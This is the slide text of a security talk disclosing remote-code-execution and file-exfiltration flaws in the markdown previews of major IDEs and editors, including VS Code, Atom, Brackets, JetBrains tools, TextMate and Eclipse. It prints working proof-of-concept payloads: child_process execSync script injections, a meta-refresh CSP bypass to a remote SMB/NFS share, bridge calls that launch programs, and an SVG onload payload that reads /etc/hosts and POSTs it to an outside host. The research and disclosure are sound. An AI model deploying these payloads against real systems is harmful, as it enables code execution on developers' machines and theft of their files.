Hacking Every* Major IDE in 2 Weeks
By Matt Austin �@mattaustin�http://m-austin.com
## Who is Matt Austin?
## What is the “Desktop Web”?
## Exploiting the “Desktop Web”
## What is markdown? ![]()
“Markdown is a lightweight markup language with plain text formatting syntax.”
# H1
## H2
*italics* or _italics_.
**bold** or __b__.
H1
H2
*italics*
bold
<h1>H1</h1>�<H2>H2</h2>�<i>italics</i>�<b>b</b>
## Why so hackable?
“For any markup that is not covered by Markdown’s syntax, you simply use HTML itself. There’s no need to preface it or delimit it to indicate that you’re switching from Markdown to HTML; you just use the tags.”
# H1
## H2
*italics* or _italics_.
**bold** or __b__.
H1
H2
*italics*
bold
<h1>H1</h1>�<H2>H2</h2>�<i>italics</i>�<b>b</b>
<iframe src="http://example.com"></iframe>
## Who did it wrong?
Microsoft
Visual Studio Code v1.9.1
Github
Atom v1.17.0
Adobe
Brackets 1.9.0
Eclipse
Luna SR 2 v4.4.2
Macromates
TextMate 2.0-rc.4
JetBrains
*all* v2017.1.1
IntelliJ
WebStorm
PyCharm
RubyMine
PHPStorm
Gogland
CLion
AppCode
Android Studio
MacDown 0.6.4
Caret 1.14.0
Marp 0.0.10
Marked 2 v2.5.10
# Abusing Electron
## Abusing Electron
“Build cross platform desktop apps with JavaScript, HTML, and CSS”
node.js
chromium
+
## Abusing Electron
Who uses it:
Visual Studio Code
Github Atom
Adobe Brackets *
Markly
...
## Abusing Electron: Visual Studio Code
<script>
top.require('child_process').execSync('open -a Calculator')�</script>
## Abusing Electron: Visual Studio Code
The Fix: Add CSP
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src 'self' http: https: data:; media-src 'self' http: https: data:; child-src 'none'; script-src 'nonce-${nonce}'; style-src 'nonce-${nonce}' 'self' 'unsafe-inline' http: https: data:;">
## Abusing Electron: Visual Studio Code
Important things to know:
CSP Bypass!
## Abusing Electron: Visual Studio Code
Windows (SMB url):
<meta http-equiv="refresh" content="1; url=file://\\192.241.239.91\Share\rce_win.html">
�macOS:
<meta http-equiv="refresh" content="1; url=file:////net/192.241.239.91/var/nfs/general/rce.html">
rce.html:
<script>�document.write(top.require('child_process').execSync('ls; open -a Calculator'))�</script>
CSP Bypass!
## Abusing Electron: Visual Studio Code
Fix #2:
CSP Bypass
newFrame.contentWindow.onbeforeunload = function (e) {� console.log('prevented webview navigation');� return false;�};newFrame.contentWindow.onbeforeunload = function (e) {� console.log('prevented webview navigation');� return false;�};
## Abusing Electron: Github Atom Editor
## Abusing (not) Electron: Adobe Brackets
## Abusing (not) Electron: Adobe Brackets
RCE.html�----------------------------------�<script>� src = location.href.replace('file://', '').replace(/html$/, 'js');� var brackets = top.brackets;� var NodeConnection = brackets.getModule('utils/NodeConnection');� var nodeConnection = new NodeConnection();� nodeConnection.connect(true).done(function () {� nodeConnection.loadDomains([src], true).done(function () {});� });�</script>�----------------------------------�RCE.js�----------------------------------�return require('child_process').execSync('say hi && open file:///Applications/Calculator.app');�----------------------------------
# Abusing “open in browser”
## Abusing “open in browser” MacDown 0.6.4
## Abusing “open in browser”
But…
## Abusing “open in browser” MacDown 0.6.4
## .terminal files on OSX
# Abusing Javascript Bridge
## Abusing Javascript Bridge: JetBrains
<script>� setTimeout(function(){� if(window.navigator.platform === 'Win32'){� // Windows� JavaPanelBridge.openInExternalBrowser('file:///C:/Windows/System32/calc.exe')� }else{� //macOS� JavaPanelBridge.openInExternalBrowser('file:///Applications/Calculator.app');� }� }, 100)�</script>
## Abusing Javascript Bridge: JetBrains
Abusing The Javascript Bridge: TextMate
<script>� TextMate.system('open -a Calculator', function(data){�� });�</script>
Note: this also works with the HTML preview.
Abusing The Javascript Bridge: TextMate
# Abusing URL Schemes
## Abusing URL Schemes: VSCode
<a href="command:vscode.startDebug?{"type":"node","request":"launch","args":["-e","process.exit(require('child_process').execSync('open -a Calculator'))"]}">Debugger Test...</a>.
SOP / File Exfiltration
SOP / File Exfiltration: Eclipse
<svg onload="� r=new XMLHttpRequest();� r.open('GET','file:///etc/hosts',false);� r.send(null);
data=r.responseText;� r.open('POST','https://s41wuornbvk7.runscope.net',false);� r.send(data);�">
SOP / File Exfiltration: Eclipse
## Other Notes
## Exploit Techniques
Questions?�(@mattaustin)
The end <3